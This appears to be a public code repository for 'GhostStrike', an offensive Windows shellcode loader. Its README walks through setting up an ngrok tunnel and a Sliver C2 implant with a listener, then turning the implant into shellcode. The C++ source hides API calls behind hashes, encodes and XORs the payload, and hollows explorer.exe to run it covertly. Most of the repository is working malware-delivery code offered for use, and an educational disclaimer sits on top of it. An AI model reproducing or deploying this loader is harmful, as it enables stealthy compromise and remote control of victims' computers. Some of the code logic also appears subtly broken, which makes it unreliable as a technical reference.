├── LICENSE
├── README.md
└── GhostStrike.cpp
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Stiven Mayorga
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # GhostStrike ⚔️
2 |
3 | **GhostStrike** is an advanced cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems.
4 |
5 | ---
6 |
7 | ## ✨ Features
8 |
9 |
10 | - Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
11 | - Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
12 | - Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
13 | - XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
14 | - Control Flow Flattening: Implements control flow flattening to obfuscate the execution path, complicating analysis by both static and dynamic analysis tools.
15 | - Process Hollowing: Injects encrypted shellcode into a legitimate Windows process, allowing it to execute covertly without raising suspicions.
16 |
17 |
18 | ---
19 |
20 | ## ⚙️ Configuration
21 |
22 | You can configure GhostStrike with the following steps:
23 |
24 |
25 | - Create Ngrok Service:
ngrok tcp 443
26 | - Generate Sliver C2 Implant:
generate --mtls x.tcp.ngrok.io --save YourFile.exe
27 | - Create Listener:
mtls --lhost 0.0.0.0 --lport 443
28 | - Convert to .bin:
./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
29 | - Convert to C++ Shellcode:
xxd -i YourFile.bin > YourFile.h
30 | - Import YourFile.h to this code
31 | - Compile and enjoy! 🚀
32 |
33 |
34 | ---
35 |
36 | ## 💻 Requirements
37 |
38 | - **C++ Compiler:** Any modern C++ compiler, such as `g++`, `clang++`, or Visual Studio, is sufficient to compile the code.
39 |
40 | No additional dependencies are needed to build **GhostStrike**. Simply compile the source code with your preferred C++ compiler, and you're ready to go!
41 |
42 | ---
43 |
44 | ## ⚠️ Disclaimer
45 |
46 | This tool is intended solely for educational purposes and for use in controlled environments. Unauthorized use of GhostStrike outside of these settings is strictly prohibited. The author, @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.
47 |
48 | ---
49 |
50 | ## 🎥 Demo
51 |
52 | Check out a live demonstration of GhostStrike in action on LinkedIn:
53 |
54 | Watch Demo
--------------------------------------------------------------------------------
/GhostStrike.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | * DISCLAIMER:
3 | * This code was created solely for educational purposes and is intended for use in controlled environments only.
4 | * Unauthorized use of this code outside of these settings is strictly prohibited.
5 | * The author, Stiven Mayorga A.k.a @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.
6 | */
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include "Import Your Shellcode.h" // Include the file with the encoded shellcode
15 |
16 | // Computes the hash of a string using a custom algorithm.
17 | // This hash is later used to identify API functions by their hashed names.
18 | DWORD hash_function(const char* str) {
19 | DWORD hash = 0;
20 | while (*str) {
21 | hash = (hash >> 13) | (hash << 19);
22 | hash += *str++;
23 | }
24 | return hash;
25 | }
26 |
27 | // Base64 encoding map
28 | static const std::string base64_chars =
29 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
30 | "abcdefghijklmnopqrstuvwxyz"
31 | "0123456789+/";
32 |
33 | // Encodes binary data into a Base64 string.
34 | // This function is used to encode the shellcode for evasion purposes.
35 | std::string base64_encode(const unsigned char* buf, size_t bufLen) {
36 | std::string ret;
37 | int val = 0;
38 | int valb = -6;
39 | for (size_t i = 0; i < bufLen; ++i) {
40 | val = (val << 8) + buf[i];
41 | valb += 8;
42 | while (valb >= 0) {
43 | ret.push_back(base64_chars[(val >> valb) & 0x3F]);
44 | valb -= 6;
45 | }
46 | }
47 | if (valb > -6) ret.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
48 | while (ret.size() % 4) ret.push_back('=');
49 | return ret;
50 | }
51 |
52 | // Decodes a Base64 string back into binary data.
53 | // This is necessary to decode the shellcode before executing it.
54 | std::vector base64_decode(const std::string& encoded_string) {
55 | std::vector ret;
56 | std::vector T(256, -1);
57 | for (int i = 0; i < 64; i++) T[base64_chars[i]] = i;
58 |
59 | int val = 0;
60 | int valb = -8;
61 | for (unsigned char c : encoded_string) {
62 | if (T[c] == -1) break;
63 | val = (val << 6) + T[c];
64 | valb += 6;
65 | if (valb >= 0) {
66 | ret.push_back((val >> valb) & 0xFF);
67 | valb -= 8;
68 | }
69 | }
70 | return ret;
71 | }
72 |
73 | // Resolves a function's address dynamically by hashing the function's name.
74 | // This technique is used to avoid detection by traditional security mechanisms.
75 | FARPROC get_api_function(DWORD module_hash, DWORD function_hash) {
76 | HMODULE module = nullptr;
77 | const char* module_names[] = { "kernel32.dll", "advapi32.dll", "user32.dll", "gdi32.dll", NULL };
78 | for (int i = 0; module_names[i] != NULL; ++i) {
79 | module = LoadLibraryA(module_names[i]);
80 | if (module && hash_function(module_names[i]) == module_hash) {
81 | break;
82 | }
83 | }
84 | if (module == NULL) {
85 | std::cerr << "Error loading the module.\n";
86 | exit(EXIT_FAILURE);
87 | }
88 |
89 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)module;
90 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)module + dos_header->e_lfanew);
91 | PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
92 | DWORD* functions = (DWORD*)((BYTE*)module + export_dir->AddressOfFunctions);
93 | WORD* ordinals = (WORD*)((BYTE*)module + export_dir->AddressOfNameOrdinals);
94 | DWORD* names = (DWORD*)((BYTE*)module + export_dir->AddressOfNames);
95 |
96 | // Loop through the export table to find the function by its hash.
97 | for (DWORD i = 0; i < export_dir->NumberOfNames; ++i) {
98 | const char* func_name = (const char*)((BYTE*)module + names[i]);
99 | if (hash_function(func_name) == function_hash) {
100 | return (FARPROC)((BYTE*)module + functions[ordinals[i]]);
101 | }
102 | }
103 |
104 | std::cerr << "Error retrieving the function address.\n";
105 | exit(EXIT_FAILURE);
106 | }
107 |
108 | // Generates a cryptographically secure key of the specified length.
109 | // This key will be used to encrypt and decrypt the shellcode.
110 | std::vector generate_key(SIZE_T length) {
111 | std::vector key(length);
112 | HCRYPTPROV hProv;
113 | auto CryptAcquireContextA = (decltype(&::CryptAcquireContextA))get_api_function(hash_function("advapi32.dll"), hash_function("CryptAcquireContextA"));
114 | auto CryptGenRandom = (decltype(&::CryptGenRandom))get_api_function(hash_function("advapi32.dll"), hash_function("CryptGenRandom"));
115 | auto CryptReleaseContext = (decltype(&::CryptReleaseContext))get_api_function(hash_function("advapi32.dll"), hash_function("CryptReleaseContext"));
116 |
117 | // Acquire a cryptographic context for generating random data.
118 | if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
119 | std::cerr << "Error acquiring cryptographic context.\n";
120 | exit(EXIT_FAILURE);
121 | }
122 | // Generate a random key.
123 | if (!CryptGenRandom(hProv, (DWORD)length, key.data())) {
124 | std::cerr << "Error generating cryptographic key.\n";
125 | CryptReleaseContext(hProv, 0);
126 | exit(EXIT_FAILURE);
127 | }
128 | CryptReleaseContext(hProv, 0);
129 | return key;
130 | }
131 |
132 | // XOR encryption/decryption function.
133 | // The same function is used to both encrypt and decrypt the shellcode.
134 | void xor_encrypt_decrypt(unsigned char* data, SIZE_T data_len, const std::vector& key) {
135 | for (SIZE_T i = 0; i < data_len; ++i) {
136 | data[i] ^= key[i % key.size()];
137 | }
138 | }
139 |
140 | // Implements control flow flattening to obfuscate the program's execution path.
141 | // This makes it harder for static analysis tools to understand the program's logic.
142 | void control_flow_flattening(bool& continue_execution, int& state) {
143 | while (continue_execution) {
144 | switch (state) {
145 | case 0:
146 | // Initialization state
147 | state = 1;
148 | break;
149 |
150 | case 1:
151 | // State to verify process hollowing
152 | state = 2;
153 | break;
154 |
155 | case 2:
156 | // State to verify additional conditions, e.g., data integrity
157 | state = 3;
158 | break;
159 |
160 | case 3:
161 | // Final state to stop execution
162 | continue_execution = false;
163 | break;
164 |
165 | default:
166 | // Handle unknown states
167 | continue_execution = false;
168 | break;
169 | }
170 | }
171 | }
172 |
173 | // Performs process hollowing by injecting shellcode into a legitimate process.
174 | // This function suspends the target process, replaces its memory with shellcode, and resumes it.
175 | bool process_hollowing(const char* target_path, unsigned char* shellcode, SIZE_T shellcode_size, const std::vector& key) {
176 | STARTUPINFOA si = { sizeof(si) };
177 | PROCESS_INFORMATION pi;
178 | auto CreateProcessA = (decltype(&::CreateProcessA))get_api_function(hash_function("kernel32.dll"), hash_function("CreateProcessA"));
179 | auto GetThreadContext = (decltype(&::GetThreadContext))get_api_function(hash_function("kernel32.dll"), hash_function("GetThreadContext"));
180 | auto VirtualAllocEx = (decltype(&::VirtualAllocEx))get_api_function(hash_function("kernel32.dll"), hash_function("VirtualAllocEx"));
181 | auto WriteProcessMemory = (decltype(&::WriteProcessMemory))get_api_function(hash_function("kernel32.dll"), hash_function("WriteProcessMemory"));
182 | auto VirtualProtectEx = (decltype(&::VirtualProtectEx))get_api_function(hash_function("kernel32.dll"), hash_function("VirtualProtectEx"));
183 | auto SetThreadContext = (decltype(&::SetThreadContext))get_api_function(hash_function("kernel32.dll"), hash_function("SetThreadContext"));
184 | auto ResumeThread = (decltype(&::ResumeThread))get_api_function(hash_function("kernel32.dll"), hash_function("ResumeThread"));
185 | auto TerminateProcess = (decltype(&::TerminateProcess))get_api_function(hash_function("kernel32.dll"), hash_function("TerminateProcess"));
186 | auto CloseHandle = (decltype(&::CloseHandle))get_api_function(hash_function("kernel32.dll"), hash_function("CloseHandle"));
187 |
188 | // Create the target process in a suspended state.
189 | if (!CreateProcessA(target_path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
190 | std::cerr << "Error creating target process.\n";
191 | return false;
192 | }
193 |
194 | CONTEXT ctx;
195 | ctx.ContextFlags = CONTEXT_FULL;
196 | if (!GetThreadContext(pi.hThread, &ctx)) {
197 | std::cerr << "Error getting thread context.\n";
198 | TerminateProcess(pi.hProcess, 1);
199 | CloseHandle(pi.hThread);
200 | CloseHandle(pi.hProcess);
201 | return false;
202 | }
203 |
204 | // Allocate memory in the target process for the shellcode.
205 | LPVOID pImageBase = VirtualAllocEx(pi.hProcess, NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE,
206 | PAGE_EXECUTE_READWRITE);
207 | if (!pImageBase) {
208 | std::cerr << "Error allocating memory in target process.\n";
209 | TerminateProcess(pi.hProcess, 1);
210 | CloseHandle(pi.hThread);
211 | CloseHandle(pi.hProcess);
212 | return false;
213 | }
214 |
215 | // Decrypt the shellcode before injecting it into the target process.
216 | xor_encrypt_decrypt(shellcode, shellcode_size, key);
217 |
218 | // Write the shellcode into the allocated memory in the target process.
219 | if (!WriteProcessMemory(pi.hProcess, pImageBase, shellcode, shellcode_size, NULL)) {
220 | std::cerr << "Error writing shellcode to target process memory.\n";
221 | TerminateProcess(pi.hProcess, 1);
222 | CloseHandle(pi.hThread);
223 | CloseHandle(pi.hProcess);
224 | return false;
225 | }
226 |
227 | DWORD oldProtect;
228 | // Change memory protection to execute-only to avoid detection.
229 | if (!VirtualProtectEx(pi.hProcess, pImageBase, shellcode_size, PAGE_EXECUTE_READ, &oldProtect)) {
230 | std::cerr << "Error changing memory protection in target process.\n";
231 | TerminateProcess(pi.hProcess, 1);
232 | CloseHandle(pi.hThread);
233 | CloseHandle(pi.hProcess);
234 | return false;
235 | }
236 |
237 | #ifdef _WIN64
238 | ctx.Rcx = reinterpret_cast(pImageBase);
239 | #else
240 | ctx.Eax = reinterpret_cast(pImageBase);
241 | #endif
242 |
243 | // Set the modified context (pointing to the shellcode) back to the thread.
244 | if (!SetThreadContext(pi.hThread, &ctx)) {
245 | std::cerr << "Error setting thread context.\n";
246 | TerminateProcess(pi.hProcess, 1);
247 | CloseHandle(pi.hThread);
248 | CloseHandle(pi.hProcess);
249 | return false;
250 | }
251 |
252 | // Resume the thread, allowing the process to continue execution with the injected shellcode.
253 | if (ResumeThread(pi.hThread) == -1) {
254 | std::cerr << "Error resuming target process.\n";
255 | TerminateProcess(pi.hProcess, 1);
256 | CloseHandle(pi.hThread);
257 | CloseHandle(pi.hProcess);
258 | return false;
259 | }
260 |
261 | CloseHandle(pi.hThread);
262 | CloseHandle(pi.hProcess);
263 | return true;
264 | }
265 |
266 | int main() {
267 | const char* target_path = "C:\\Windows\\explorer.exe";
268 |
269 | // Encode the shellcode in Base64
270 | std::string shellcode_base64 = base64_encode(DesarrolloMagico_bin, DesarrolloMagico_bin_len); //Shellcode Name Bin and Len DesarrolloMagico_bin, DesarrolloMagico_bin_len replace with yours
271 |
272 | // Decode the shellcode from Base64
273 | std::vector decoded_shellcode = base64_decode(shellcode_base64);
274 |
275 | // Generate a cryptographically secure encryption key based on the length of the decoded shellcode
276 | std::vector key = generate_key(decoded_shellcode.size());
277 | xor_encrypt_decrypt(decoded_shellcode.data(), decoded_shellcode.size(), key);
278 |
279 | // Implement control flow flattening in the main function
280 | bool continue_execution = true;
281 | int state = 0;
282 | control_flow_flattening(continue_execution, state);
283 |
284 | if (state == 3 && process_hollowing(target_path, decoded_shellcode.data(), decoded_shellcode.size(), key)) {
285 | std::cout << "Process hollowing successful.\n";
286 | }
287 | else {
288 | std::cerr << "Process hollowing failed.\n";
289 | }
290 |
291 | auto SecureZeroMemory = (decltype(&::SecureZeroMemory))get_api_function(hash_function("kernel32.dll"), hash_function("SecureZeroMemory"));
292 | SecureZeroMemory(decoded_shellcode.data(), decoded_shellcode.size());
293 |
294 | return 0;
295 | }
--------------------------------------------------------------------------------